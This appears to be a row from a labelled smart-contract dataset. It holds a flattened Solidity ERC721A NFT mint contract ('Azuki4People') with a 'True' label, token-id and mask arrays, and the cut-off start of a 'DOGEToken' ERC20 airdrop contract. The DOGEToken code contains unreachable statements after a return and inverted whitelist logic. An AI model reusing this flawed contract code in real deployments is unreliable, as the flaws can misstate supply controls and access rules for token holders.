* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/ERC721A.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
// require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/Azuki4People.sol
//SPDX-License-Identifier: MIT
//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
pragma solidity ^0.8.0;
contract Azuki4People is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private tokenCounter;
string private baseURI = "ipfs://QmQFkLSQysj94s5GvTHPyzTxrawwtjgiiYS2TBLgrvw8CW";
uint256 public constant MAX_MINTS_PER_TX = 10;
uint256 public maxSupply = 3333;
uint256 public constant PUBLIC_SALE_PRICE = 0.01 ether;
bool public isPublicSaleActive = false;
// ============ ACCESS CONTROL/SANITY MODIFIERS ============
modifier publicSaleActive() {
require(isPublicSaleActive, "Public sale is not open");
_;
}
modifier maxMintsPerTX(uint256 numberOfTokens) {
require(
numberOfTokens <= MAX_MINTS_PER_TX,
"Max mints per transaction exceeded"
);
_;
}
modifier canMintNFTs(uint256 numberOfTokens) {
require(
totalSupply() + numberOfTokens <=
maxSupply,
"Not enough mints remaining to mint"
);
_;
}
constructor(
) ERC721A("Azuki For People", "Azuki", 100, maxSupply) {
}
modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) {
require(
(price * numberOfTokens) == msg.value,
"Incorrect ETH value sent"
);
_;
}
// ============ PUBLIC FUNCTIONS FOR MINTING ============
function mint(uint256 numberOfTokens)
external
payable
nonReentrant
publicSaleActive
isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens)
canMintNFTs(numberOfTokens)
maxMintsPerTX(numberOfTokens)
{
_safeMint(msg.sender, numberOfTokens);
}
// ============ PUBLIC READ-ONLY FUNCTIONS ============
function getBaseURI() external view returns (string memory) {
return baseURI;
}
// ============ OWNER-ONLY ADMIN FUNCTIONS ============
function setBaseURI(string memory _baseURI) external onlyOwner {
baseURI = _baseURI;
}
function setIsPublicSaleActive(bool _isPublicSaleActive)
external
onlyOwner
{
isPublicSaleActive = _isPublicSaleActive;
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function withdrawTokens(IERC20 token) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
}
// ============ SUPPORTING FUNCTIONS ============
function nextTokenId() private returns (uint256) {
tokenCounter.increment();
return tokenCounter.current();
}
// ============ FUNCTION OVERRIDES ============
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
return
interfaceId == type(IERC2981).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Nonexistent token");
return
string(abi.encodePacked(baseURI, "/", (tokenId+1).toString(), ""));
}
/**
* @dev See {IERC165-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
require(_exists(tokenId), "Nonexistent token");
return (address(this), SafeMath.div(SafeMath.mul(salePrice, 5), 100));
}
}
// These contract definitions are used to create a reference to the OpenSea
// ProxyRegistry contract by using the registry's address (see isApprovedForAll).
contract OwnableDelegateProxy {
}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5840,
1011,
6021,
1008,
1013,
1013,
1013,
5371,
1024,
8311,
1013,
17207,
14228,
2549,
5051,
27469,
1012,
14017,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5840,
1011,
6185,
1008,
1013,
1013,
1013,
5371,
1024,
8311,
1013,
17207,
14228,
2549,
5051,
27469,
1012,
14017,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6185,
1011,
2654,
1008,
1013,
1013,
1013,
5371,
1024,
8311,
1013,
17207,
14228,
2549,
5051,
27469,
1012,
14017,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6185,
1011,
2423,
1008,
1013,
1013,
1013,
5371,
1024,
8311,
1013,
17207,
14228,
2549,
5051,
27469,
1012,
14017,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6185,
1011,
2603,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6185,
1011,
2403,
1008,
1013,
1013,
1013,
5371,
1024,
8311,
1013,
17207,
14228,
2549,
5051,
27469,
1012,
14017,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
2324,
1008,
1013,
1013,
1013,
5371,
1024,
8311,
1013,
17207,
14228,
2549,
5051,
27469,
1012,
14017,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
2324,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
2324,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
14046,
1013,
1013,
2023,
2544,
1997,
3647,
18900,
2232,
2323,
2069,
2022,
2109,
2007,
5024,
3012,
1014,
1012,
1022,
2030,
2101,
1010,
1013,
1013,
2138,
2009,
16803,
2006,
1996,
21624,
1005,
1055,
2328,
1999,
2058,
12314,
14148,
1012,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
1012,
1008,
1008,
3602,
1024,
1036,
3647,
18900,
2232,
1036,
2003,
3227,
2025,
2734,
3225,
2007,
5024,
3012,
1014,
1012,
1022,
1010,
2144,
1996,
21624,
1008,
2085,
2038,
2328,
1999,
2058,
12314,
9361,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
4215,
2094,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
17788,
2575,
1007,
1063,
4895,
5403,
18141,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
2065,
1006,
1039,
1026,
1037,
1007,
2709,
1006,
6270,
1010,
1014,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract DOGEToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "DOGE Token";
string public constant symbol = "DOGE";
uint public constant decimals = 8;
uint256 public totalSupply = 90000000000000e8;
uint256 public totalDistributed = 9000000000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function DOGEToken () public {
owner = msg.sender;
value = 104000e8;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
